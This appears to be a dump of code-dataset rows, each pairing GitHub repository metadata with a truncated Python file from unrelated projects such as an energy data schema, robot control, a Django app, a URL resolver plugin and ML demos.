] | 1 | 2022-03-02T12:49:44.000Z | 2022-03-02T12:49:44.000Z | src/bo4e/com/regionalepreisstaffel.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | 21 | 2022-02-04T07:38:46.000Z | 2022-03-28T14:01:53.000Z | src/bo4e/com/regionalepreisstaffel.py | bo4e/BO4E-python | 28b12f853c8a496d14b133759b7aa2d6661f79a0 | [
"MIT"
] | null | null | null | """
Contains RegionalePreisstaffel class and corresponding marshmallow schema for de-/serialization
"""
import attr
from marshmallow import fields
from bo4e.com.preisstaffel import Preisstaffel, PreisstaffelSchema
from bo4e.com.regionalegueltigkeit import RegionaleGueltigkeit, RegionaleGueltigkeitSchema
# pylint: d... | 34.555556 | 197 | 0.792605 |
f5a8bb8eb85072882fe61f504e61740a8c08045b | 5,475 | py | Python | 10.3389/fevo.2021.762173/scripts/crop_images.py | jqsunac/doi | c5912a40c7bfda8270e5d51fbdd82a9f0650bd23 | [
"MIT"
] | null | null | null | 10.3389/fevo.2021.762173/scripts/crop_images.py | jqsunac/doi | c5912a40c7bfda8270e5d51fbdd82a9f0650bd23 | [
"MIT"
] | null | null | null | 10.3389/fevo.2021.762173/scripts/crop_images.py | jqsunac/doi | c5912a40c7bfda8270e5d51fbdd82a9f0650bd23 | [
"MIT"
] | null | null | null | import os
import sys
import re
import glob
import shutil
from PIL import Image
from PIL import ImageFile
from PIL import ExifTags
import PIL.ImageOps
ImageFile.LOAD_TRUNCATED_IMAGES = True
def get_jpeg_info(img_fpath):
lat = None
lng = None
capture_date = None
im = Image.open(img_fpath)
exif = ... | 32.981928 | 104 | 0.493333 |
1951b61e66144e7d92ab0a1f298aabf8882d6466 | 1,729 | py | Python | Packs/EWS/Scripts/GetEWSFolder/GetWESFolder_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 799 | 2016-08-02T06:43:14.000Z | 2022-03-31T11:10:11.000Z | Packs/EWS/Scripts/GetEWSFolder/GetWESFolder_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 9,317 | 2016-08-07T19:00:51.000Z | 2022-03-31T21:56:04.000Z | Packs/EWS/Scripts/GetEWSFolder/GetWESFolder_test.py | diCagri/content | c532c50b213e6dddb8ae6a378d6d09198e08fc9f | [
"MIT"
] | 1,297 | 2016-08-04T13:59:00.000Z | 2022-03-31T23:43:06.000Z | import json
from GetEWSFolder import main, convert_mail_to_json
import demistomock as demisto
def create_mail(subject, body):
return {'subject': subject, 'textBody': body, 'body': '<body>{}<\\body>'.format(body)}
mails_folder_1 = [create_mail(subject='subject 1', body='body 1'), create_mail(subject='subject 2... | 36.787234 | 115 | 0.666859 |
198b186387153dc01e341dfcf273d879d9e8bc68 | 5,883 | py | Python | src/main/python/ble_temperature_sensor/azartongui.py | BikeAtor/WoMoAtor | 700cc8b970dcfdd5af2f471df1a223d2a38cb1bf | [
"Apache-2.0"
] | null | null | null | src/main/python/ble_temperature_sensor/azartongui.py | BikeAtor/WoMoAtor | 700cc8b970dcfdd5af2f471df1a223d2a38cb1bf | [
"Apache-2.0"
] | null | null | null | src/main/python/ble_temperature_sensor/azartongui.py | BikeAtor/WoMoAtor | 700cc8b970dcfdd5af2f471df1a223d2a38cb1bf | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python3
import sys
sys.path.append('..')
import os
import logging
import threading
import time
import ble_temperature_sensor
import atorlib
# GUI
import tkinter as tk
import tkinter.font as tkFont
import cairosvg
import io
from PIL import Image, ImageTk
class AzartonGUI(atorlib.GuiIconValueBattery):... | 38.45098 | 135 | 0.535271 |
8b5fa4910b2b115df8c56c58f98e8d7c4cb201f6 | 597 | py | Python | utils/droplets.py | nebulousdog/catcobralizard | 0be598b9e76addbe25684ca60aa5ae324cc42183 | [
"MIT"
] | null | null | null | utils/droplets.py | nebulousdog/catcobralizard | 0be598b9e76addbe25684ca60aa5ae324cc42183 | [
"MIT"
] | null | null | null | utils/droplets.py | nebulousdog/catcobralizard | 0be598b9e76addbe25684ca60aa5ae324cc42183 | [
"MIT"
] | null | null | null | """
Droplet related utils
"""
import json
def get_droplet_id():
"""get droplet id from cached info, prevents unnecessary requests."""
cached_droplet_info_file = 'droplet_info.json'
with open(cached_droplet_info_file, 'r') as info_f:
droplet_info = json.load(info_f)
return droplet_info['i... | 24.875 | 73 | 0.686767 |
8bd6dd025d66fbf320ad54109bd8790c1af34843 | 1,200 | py | Python | INBa/2015/Ionova_A_K/task_8_8.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/Ionova_A_K/task_8_8.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | INBa/2015/Ionova_A_K/task_8_8.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | #Задача 8. Вариант 8.
#1-50. Доработайте игру "Анаграммы" (см. М.Доусон Программируем на Python. Гл.4) так, чтобы к каждому слову полагалась подсказка. Игрок должен получать право на подсказку в том случае, если у него нет никаких предположений. Разработайте систему начисления очков, по которой бы игроки, отгадавшие сл... | 31.578947 | 361 | 0.67 |
9a22fcc0aef36cf0cf2151e2ff240d1acec21a22 | 861 | py | Python | packages/watchmen-rest-dqc/src/watchmen_rest_dqc/dqc.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-rest-dqc/src/watchmen_rest_dqc/dqc.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | packages/watchmen-rest-dqc/src/watchmen_rest_dqc/dqc.py | Indexical-Metrics-Measure-Advisory/watchmen | c54ec54d9f91034a38e51fd339ba66453d2c7a6d | [
"MIT"
] | null | null | null | from typing import Callable, Optional
from fastapi import FastAPI
from watchmen_dqc.boot import init_monitor_jobs
from watchmen_meta.auth import build_find_user_by_name, build_find_user_by_pat
from watchmen_model.admin import User
from watchmen_rest import RestApp
from .settings import DqcSettings
class DqcApp(Rest... | 23.27027 | 78 | 0.772358 |
3e9b007d558fcee821d4e280215fcedd685c9a93 | 543 | py | Python | main.py | kagaya25/How-to-Remove-watermarks-in-youtube-using-python- | d411359e509877563e15db02967375b03b34af99 | [
"MIT"
] | 3 | 2020-10-28T05:26:20.000Z | 2022-02-27T04:51:40.000Z | main.py | kagaya25/How-to-Remove-watermarks-in-youtube-using-python- | d411359e509877563e15db02967375b03b34af99 | [
"MIT"
] | null | null | null | main.py | kagaya25/How-to-Remove-watermarks-in-youtube-using-python- | d411359e509877563e15db02967375b03b34af99 | [
"MIT"
] | null | null | null | from googleapiclient.discovery import build
from google_auth_oauthlib.flow import InstalledAppFlow
from apikey import apikey
CLIENT_SECRET_FILE = 'client_secret.json'
SCOPES = ['https://www.googleapis.com/auth/youtube.force-ssl']
flow = InstalledAppFlow.from_client_secrets_file(CLIENT_SECRET_FILE, SCOPES)
credentials ... | 33.9375 | 79 | 0.79558 |
f5cc09ecc0ca97e9de21e43dc4dd98148d3b2c32 | 2,059 | py | Python | Calculation/calculation_current.py | Tocha4/-Displacement--Chromatography | 0baf4f9e2d23b39f610217b048d799c6403a259e | [
"MIT"
] | 2 | 2020-11-25T07:53:48.000Z | 2021-09-19T14:19:51.000Z | Calculation/calculation_current.py | Tocha4/-Displacement--Chromatography | 0baf4f9e2d23b39f610217b048d799c6403a259e | [
"MIT"
] | null | null | null | Calculation/calculation_current.py | Tocha4/-Displacement--Chromatography | 0baf4f9e2d23b39f610217b048d799c6403a259e | [
"MIT"
] | null | null | null | import numpy as np
import os
if 'cytthon_functions' in os.listdir():
from cytthon_functions import Functions
else:
from Calculation.cytthon_functions import Functions
class Simu():
def __init__(self,Sample,Column,Interaction, Pump, time... | 42.020408 | 144 | 0.619233 |
dea2ac6c5bc1dc4ea0a57535d495d3465af1edf3 | 859 | py | Python | libapp/migrations/0004_bookcart.py | StephenWayen/LibMS | df6078a8171f77b75f2ad3ac91e9747ef753d2a6 | [
"MIT"
] | 2 | 2021-05-31T13:11:50.000Z | 2021-06-05T04:37:51.000Z | libapp/migrations/0004_bookcart.py | StephenWayen/LibMS | df6078a8171f77b75f2ad3ac91e9747ef753d2a6 | [
"MIT"
] | null | null | null | libapp/migrations/0004_bookcart.py | StephenWayen/LibMS | df6078a8171f77b75f2ad3ac91e9747ef753d2a6 | [
"MIT"
] | null | null | null | # Generated by Django 3.2 on 2021-05-27 12:59
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('libapp', '0003_auto_20210527_1250'),
]
operations = [
migrations.CreateModel(
name='Bookcart',
... | 35.791667 | 145 | 0.603027 |
19cd051b3b773f6295f765770bd5a054d882c7a5 | 746 | py | Python | src/onegov/directory/errors.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/directory/errors.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/directory/errors.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | class OnegovDirectoryError(Exception):
pass
class ValidationError(OnegovDirectoryError):
def __init__(self, entry, errors, *args, **kwargs):
super().__init__(*args, **kwargs)
self.entry = entry
self.errors = errors
class MissingColumnError(OnegovDirectoryError):
def __init__(self... | 26.642857 | 55 | 0.660858 |
a09c70cc3050fdd83f147e012bf7bc00579eacb2 | 1,509 | py | Python | 2-resources/__DATA-Structures/ds-traversal-multi-lang/python/recursive.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | 2-resources/__DATA-Structures/ds-traversal-multi-lang/python/recursive.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | 2-resources/__DATA-Structures/ds-traversal-multi-lang/python/recursive.py | eengineergz/Lambda | 1fe511f7ef550aed998b75c18a432abf6ab41c5f | [
"MIT"
] | null | null | null | import json
sections = [
{
"title": "Getting started",
"reset_lesson_position": False,
"lessons": [
{"name": "Welcome"},
{"name": "Installation"},
],
},
{
"title": "Basic operator",
"reset_lesson_position": False,
"lessons": [... | 23.952381 | 78 | 0.613651 |
cd7bd478ab4f00f34a63e2bfd9dab76b06cd0de9 | 340 | py | Python | Coursera/Python Data Structures/Assignment-8.4.py | rishav3101/Online-Courses-Learning | 1e9356af331b27b6ee33d376d8d7104edaeac2fa | [
"MIT"
] | 331 | 2019-10-22T09:06:28.000Z | 2022-03-27T13:36:03.000Z | Coursera/Python Data Structures/Assignment-8.4.py | rishav3101/Online-Courses-Learning | 1e9356af331b27b6ee33d376d8d7104edaeac2fa | [
"MIT"
] | 8 | 2020-04-10T07:59:06.000Z | 2022-02-06T11:36:47.000Z | Coursera/Python Data Structures/Assignment-8.4.py | rishav3101/Online-Courses-Learning | 1e9356af331b27b6ee33d376d8d7104edaeac2fa | [
"MIT"
] | 572 | 2019-07-28T23:43:35.000Z | 2022-03-27T22:40:08.000Z | if __name__ == '__main__':
try:
fname = input('Enter file name: ')
fn = open(fname)
ls = list()
lsm = [line.split() for line in fn]
for i in lsm:
for j in i:
if j not in ls:
ls.append(j)
ls.sort()
print(ls)
... | 22.666667 | 43 | 0.417647 |
e4e4ee485e353f1ad20ddbe3768cd13fe0cc1ff3 | 22,726 | py | Python | tests/onegov/gazette/test_forms.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/gazette/test_forms.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | tests/onegov/gazette/test_forms.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from datetime import date
from datetime import datetime
from freezegun import freeze_time
from onegov.gazette.collections import CategoryCollection
from onegov.gazette.collections import GazetteNoticeCollection
from onegov.gazette.collections import IssueCollection
from onegov.gazette.collections import OrganizationCol... | 31.30303 | 79 | 0.596101 |
5f3b51783fcd04adfc00b045108091b7d7285d3a | 4,829 | py | Python | src/test/tests/rendering/offscreensave.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 226 | 2018-12-29T01:13:49.000Z | 2022-03-30T19:16:31.000Z | src/test/tests/rendering/offscreensave.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 5,100 | 2019-01-14T18:19:25.000Z | 2022-03-31T23:08:36.000Z | src/test/tests/rendering/offscreensave.py | visit-dav/vis | c08bc6e538ecd7d30ddc6399ec3022b9e062127e | [
"BSD-3-Clause"
] | 84 | 2019-01-24T17:41:50.000Z | 2022-03-10T10:01:46.000Z | # ----------------------------------------------------------------------------
# CLASSES: nightly
#
# Test Case: offscreensave.py
#
# Tests: save window options
# mesh - 3D unstructured, multiple domains
# plots - pc, mesh
# operators - slice
#
# Programmer: M... | 27.282486 | 107 | 0.648374 |
84531a1765793b82b97b98068e3c5056fcb441be | 576 | py | Python | project/api/event_reference/resources.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 1 | 2021-06-01T14:49:18.000Z | 2021-06-01T14:49:18.000Z | project/api/event_reference/resources.py | DanielGrams/gsevp | e94034f7b64de76f38754b56455e83092378261f | [
"MIT"
] | 286 | 2020-12-04T14:13:00.000Z | 2022-03-09T19:05:16.000Z | project/api/event_reference/resources.py | DanielGrams/gsevpt | a92f71694388e227e65ed1b24446246ee688d00e | [
"MIT"
] | null | null | null | from flask_apispec import doc, marshal_with
from project.api import add_api_resource
from project.api.event_reference.schemas import EventReferenceSchema
from project.api.resources import BaseResource
from project.models import EventReference
class EventReferenceResource(BaseResource):
@doc(summary="Get event re... | 30.315789 | 82 | 0.798611 |
4b92ea01fa48fd187a99255dcc87bdb27e981efb | 1,545 | py | Python | projects/g4h1-wsn/src/utils/log.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g4h1-wsn/src/utils/log.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | projects/g4h1-wsn/src/utils/log.py | keybrl/xdu-coursework | 9d0e905bef28c18d87d3b97643de0d32f9f08ee0 | [
"MIT"
] | null | null | null | import logging
import os
import sys
import time
# 记录第一次引入该模块时的系统时间，用于作为日志文件和路径名
launch_time: str = time.strftime('%Y-%m-%d_%H%M%S')
def get_log_file_dir_path() -> str:
"""获取存放日志的根目录
该目录为启动脚本时工作路径下的 ./log/ 目录下以本次运行的启动时间命名的目录
"""
log_file_dir_path = os.path.abspath(f'./log/{launch_time}'... | 25.327869 | 99 | 0.634951 |
4b1f7dece1467177bd51e6566c509e99c102a2ba | 13,881 | py | Python | src/turtlebot_easyprog/bewegen.py | marvinferber/turtlebot_easyprog | 8d6bca3a112cc78aa46b1a3e4a293eb4041b071c | [
"Apache-2.0"
] | null | null | null | src/turtlebot_easyprog/bewegen.py | marvinferber/turtlebot_easyprog | 8d6bca3a112cc78aa46b1a3e4a293eb4041b071c | [
"Apache-2.0"
] | null | null | null | src/turtlebot_easyprog/bewegen.py | marvinferber/turtlebot_easyprog | 8d6bca3a112cc78aa46b1a3e4a293eb4041b071c | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright 2016 Marvin Ferber, Marc Donner
#
# Licensed under the Apache License, Version 2.0 (the "License")
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#... | 32.815603 | 145 | 0.646711 |
d9f4c23543c30960496ac9bc2c529f4c93f7b4b1 | 1,219 | py | Python | gemtown/users/admin.py | doramong0926/gemtown | 2c39284e3c68f0cc11994bed0ee2abaad0ea06b6 | [
"MIT"
] | null | null | null | gemtown/users/admin.py | doramong0926/gemtown | 2c39284e3c68f0cc11994bed0ee2abaad0ea06b6 | [
"MIT"
] | 5 | 2020-09-04T20:13:39.000Z | 2022-02-17T22:03:33.000Z | gemtown/users/admin.py | doramong0926/gemtown | 2c39284e3c68f0cc11994bed0ee2abaad0ea06b6 | [
"MIT"
] | null | null | null | from django.contrib import admin
from django.contrib.auth import admin as auth_admin
from django.contrib.auth import get_user_model
from . import models
from gemtown.users.forms import UserChangeForm, UserCreationForm
User = get_user_model()
@admin.register(User)
class UserAdmin(auth_admin.UserAdmin):
form = Us... | 21.385965 | 64 | 0.498769 |
8aa65d27e7c72156f83d2f4c8f9362db10b18f52 | 658 | py | Python | PythonPro/demo/date_time.py | JianmingXia/StudyTest | 66d688ad41bbce619f44359ea126ff07a923f97b | [
"MIT"
] | null | null | null | PythonPro/demo/date_time.py | JianmingXia/StudyTest | 66d688ad41bbce619f44359ea126ff07a923f97b | [
"MIT"
] | 68 | 2020-09-05T04:22:49.000Z | 2022-03-25T18:47:08.000Z | PythonPro/demo/date_time.py | JianmingXia/StudyTest | 66d688ad41bbce619f44359ea126ff07a923f97b | [
"MIT"
] | null | null | null | #coding=utf-8
#时间
import time; # 引入time模块
import calendar
cal = calendar.month(2017, 6)
print ("以下输出2017年6月份的日历:")
print (cal)
# # 格式化成2016-03-20 11:45:39形式
# print (time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()) )
#
# # 格式化成Sat Mar 28 22:24:24 2016形式
# print (time.strftime("%a %b %d %H:%M:%S %Y", time.localt... | 22.689655 | 66 | 0.629179 |
6a82652dd9cc8cb6bd9ce394099e96f4024e6063 | 522 | py | Python | PMIa/2014/KHASANOVA_I_F/task_3_30.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2014/KHASANOVA_I_F/task_3_30.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | PMIa/2014/KHASANOVA_I_F/task_3_30.py | YukkaSarasti/pythonintask | eadf4245abb65f4400a3bae30a4256b4658e009c | [
"Apache-2.0"
] | null | null | null | # Задача 3. Вариант 30.
# Напишите программу, которая выводит имя "Илья Арнольдович Файзильберг", и запрашивает его псевдоним. Программа должна сцеплять две эти строки и выводить полученную строку, разделяя имя и псевдоним с помощью тире.
# Khasanova I. F.
# 31.03.2016
name = "Илья Арнольдович Файзильберг"
print("Гер... | 37.285714 | 214 | 0.737548 |
6a84a333dca60864f23d3e6cda302ba8325cc439 | 1,509 | py | Python | Coursera/Capstone Retrieving, Processing, and Visualizing Data with Python/Week-4/Example/gmane/gbasic.py | rishav3101/Online-Courses-Learning | 1e9356af331b27b6ee33d376d8d7104edaeac2fa | [
"MIT"
] | 331 | 2019-10-22T09:06:28.000Z | 2022-03-27T13:36:03.000Z | Coursera/Capstone Retrieving, Processing, and Visualizing Data with Python/Week-4/Example/gmane/gbasic.py | rishav3101/Online-Courses-Learning | 1e9356af331b27b6ee33d376d8d7104edaeac2fa | [
"MIT"
] | 8 | 2020-05-04T06:29:26.000Z | 2022-02-12T05:33:16.000Z | Coursera/Capstone Retrieving, Processing, and Visualizing Data with Python/Week-4/Example/gmane/gbasic.py | rishav3101/Online-Courses-Learning | 1e9356af331b27b6ee33d376d8d7104edaeac2fa | [
"MIT"
] | 572 | 2019-07-28T23:43:35.000Z | 2022-03-27T22:40:08.000Z | import sqlite3
import time
import zlib
howmany = int(input("How many to dump? "))
conn = sqlite3.connect('index.sqlite')
cur = conn.cursor()
cur.execute('SELECT id, sender FROM Senders')
senders = dict()
for message_row in cur :
senders[message_row[0]] = message_row[1]
cur.execute('SELECT id, subject FROM Subje... | 28.471698 | 92 | 0.700464 |
7c76512c03d0d77ad5d7d2e9a2c68ebcceabed22 | 19,602 | py | Python | repo/script.module.urlresolver/lib/urlresolver/plugins/realdebrid.py | dbiesecke/dbiesecke.github.io | 5894473591f078fd22d1cb33794c5e656ae9b8dd | [
"MIT"
] | 1 | 2017-11-26T18:18:46.000Z | 2017-11-26T18:18:46.000Z | repo/script.module.urlresolver/lib/urlresolver/plugins/realdebrid.py | dbiesecke/dbiesecke.github.io | 5894473591f078fd22d1cb33794c5e656ae9b8dd | [
"MIT"
] | null | null | null | repo/script.module.urlresolver/lib/urlresolver/plugins/realdebrid.py | dbiesecke/dbiesecke.github.io | 5894473591f078fd22d1cb33794c5e656ae9b8dd | [
"MIT"
] | 3 | 2019-09-30T19:52:05.000Z | 2020-04-12T21:20:56.000Z | """
URLResolver Addon for Kodi
Copyright (C) 2016 t0mm0, tknorris, jsergio
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option)... | 50.520619 | 241 | 0.560402 |
6b220f0c4539d22df65765afe20c4d398a63435d | 776 | py | Python | Python/Tipos e comandos/Primo2.py | gianvstheworld/POO | f6b9d3d351d703d974a6ca031ee636aea7119367 | [
"MIT"
] | null | null | null | Python/Tipos e comandos/Primo2.py | gianvstheworld/POO | f6b9d3d351d703d974a6ca031ee636aea7119367 | [
"MIT"
] | null | null | null | Python/Tipos e comandos/Primo2.py | gianvstheworld/POO | f6b9d3d351d703d974a6ca031ee636aea7119367 | [
"MIT"
] | null | null | null | '''
-- Nome: Gianluca Capezzuto Sardinha
-- NUSP: 11876933
-- Exercício 6
'''
def main():
x = leu()
y = x
while x > 0:
multiplo = 0
for i in range(2, x):
if(x % i == 0):
multiplo = 1
break;
if multiplo == 0:
break
... | 15.215686 | 73 | 0.449742 |
d4dc164f530304d9f00ad4291db9ca9c23412a81 | 3,119 | py | Python | Competitions/Week of Code 36/A Race against Time/race.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | 1 | 2021-02-22T17:37:45.000Z | 2021-02-22T17:37:45.000Z | Competitions/Week of Code 36/A Race against Time/race.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | Competitions/Week of Code 36/A Race against Time/race.py | xuedong/hacker-rank | ce8a60f80c2c6935b427f9409d7e826ee0d26a89 | [
"MIT"
] | null | null | null | #!/bin/python3
import sys
def raceAgainstTime(n, mason_height, heights, prices):
dp = [[0 for dummy_i in range(n)] for dummy_j in range(n)]
for j in range(n):
dp[0][j] = 1
for i in range(1, n):
for j in range(i, n):
if j == n-1:
carrier_height = mason_height
... | 36.267442 | 83 | 0.491824 |
07c3ecaa2adbbd4859a5e6774b8241a2e7edcb67 | 3,926 | py | Python | LeetCode_problems/Predict the winner/Solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 165 | 2020-10-03T08:01:11.000Z | 2022-03-31T02:42:08.000Z | LeetCode_problems/Predict the winner/Solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 383 | 2020-10-03T07:39:11.000Z | 2021-11-20T07:06:35.000Z | LeetCode_problems/Predict the winner/Solution.py | gbrls/CompetitiveCode | b6f1b817a655635c3c843d40bd05793406fea9c6 | [
"MIT"
] | 380 | 2020-10-03T08:05:04.000Z | 2022-03-19T06:56:59.000Z | '''
Given an array of scores that are non-negative integers.
Player 1 picks one of the numbers from either end of the array followed by the player 2 and then player 1 and so on.
Each time a player picks a number, that number will not be available for the next player.
This continues until all the scores have been chosen... | 38.871287 | 149 | 0.559348 |
92cb505e3d392684b96861c96323755ac38212fc | 403 | py | Python | src/training/tensorflow/symbol_detector_tests.py | klawr/deepmech | 61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff | [
"MIT"
] | 1 | 2020-04-17T12:27:06.000Z | 2020-04-17T12:27:06.000Z | src/training/tensorflow/symbol_detector_tests.py | klawr/deepmech | 61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff | [
"MIT"
] | 1 | 2022-02-27T13:13:17.000Z | 2022-02-27T13:13:17.000Z | src/training/tensorflow/symbol_detector_tests.py | klawr/deepmech | 61de238f1d4b1b867ec1d5f4e4af2a3b25a5abff | [
"MIT"
] | null | null | null | import tensorflow as tf
from os import path
import cv2
model = tf.keras.models.load_model("model.h5")
img = tf.io.read_file("image.png")
img = tf.image.decode_png(img, 1)
img = tf.reshape(img, (1, img.shape[0], img.shape[1], 1))
i = model.predict(img)
i = tf.image.resize(i, (480, 480))
i = tf.squeeze(i)
cv2.imsho... | 18.318182 | 57 | 0.682382 |
13569f4fb7ca08039ff9f9e2c550b10928eb6e15 | 9,482 | py | Python | rengine/config.py | noahsolomon0518/rengine | a544951c6b7dd707586cd3c4f84ddec554f1c96a | [
"MIT"
] | null | null | null | rengine/config.py | noahsolomon0518/rengine | a544951c6b7dd707586cd3c4f84ddec554f1c96a | [
"MIT"
] | null | null | null | rengine/config.py | noahsolomon0518/rengine | a544951c6b7dd707586cd3c4f84ddec554f1c96a | [
"MIT"
] | null | null | null | from rengine.dataset import get_dataset
from rengine.config_proxy import EquipmentAvailable, ExerciseName
class MuscleGroup:
BICEPS = "Biceps"
BACK = "Back"
CHEST = "Chest"
TRICEPS = "Triceps"
CALVES = "Calves"
HAMSTRINGS = "Hamstrings"
QUAD = "Quads"
DELTOIDS = "Deltoids"
ALL = tup... | 32.696552 | 158 | 0.575195 |
138658b92a6e71eda3f515379c0f0110a4feb8d2 | 1,394 | py | Python | simple-sklearn-demo/test1/tfidfVector.py | crackedcd/Intern.MT | 36398837af377a7e1c4edd7cbb15eabecd2c3103 | [
"MIT"
] | 1 | 2019-07-05T03:42:17.000Z | 2019-07-05T03:42:17.000Z | simple-sklearn-demo/test1/tfidfVector.py | crackedcd/Intern.MT | 36398837af377a7e1c4edd7cbb15eabecd2c3103 | [
"MIT"
] | null | null | null | simple-sklearn-demo/test1/tfidfVector.py | crackedcd/Intern.MT | 36398837af377a7e1c4edd7cbb15eabecd2c3103 | [
"MIT"
] | 1 | 2019-06-24T05:56:55.000Z | 2019-06-24T05:56:55.000Z | from sklearn.feature_extraction.text import TfidfVectorizer
import jieba
def tfidf_demo():
"""
tf: term frequency 词频, 给定词语在文本中出现的频率
idf: inverse document frequency 逆向文档频率, 用总文件数目含该词语的文件数目, 得到的商取以10为底的对数
df-idf: 两者相乘
假设在1000篇文章中, 每篇文章都是10000字,
有500篇出现了"非常", 100篇出现了"经济", 50篇出现了"计算机".
出现"非常"... | 24.45614 | 75 | 0.636298 |
139bdfe0cd98de800b4255820bb55ac7d058974d | 8,724 | py | Python | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/storage/netapp/sf_account_manager.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/storage/netapp/sf_account_manager.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | exercises/networking_selfpaced/networking-workshop/collections/ansible_collections/community/general/plugins/modules/storage/netapp/sf_account_manager.py | tr3ck3r/linklight | 5060f624c235ecf46cb62cefcc6bddc6bf8ca3e7 | [
"MIT"
] | null | null | null | #!/usr/bin/python
# (c) 2017, NetApp, Inc
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['deprecated'],
... | 32.431227 | 104 | 0.586887 |
13ee877756b02e16a9dda231d66dcf0b1af532e7 | 2,151 | py | Python | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/estimators/depth_estimator.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 5 | 2022-01-30T07:35:58.000Z | 2022-02-08T05:45:20.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/estimators/depth_estimator.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-01-14T02:33:28.000Z | 2022-01-14T02:33:28.000Z | Paddle_Industry_Practice_Sample_Library/Football_Action/PaddleVideo/paddlevideo/modeling/framework/estimators/depth_estimator.py | linuxonly801/awesome-DeepLearning | b063757fa130c4d56aea5cce2e592610f1e169f9 | [
"Apache-2.0"
] | 1 | 2022-03-07T10:51:21.000Z | 2022-03-07T10:51:21.000Z | # Copyright (c) 2020 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applic... | 35.85 | 75 | 0.699675 |
b94c3caa33c1b7441aac66591083d47a1053cdf9 | 469 | py | Python | exercises/pt/solution_01_08_01.py | Jette16/spacy-course | 32df0c8f6192de6c9daba89740a28c0537e4d6a0 | [
"MIT"
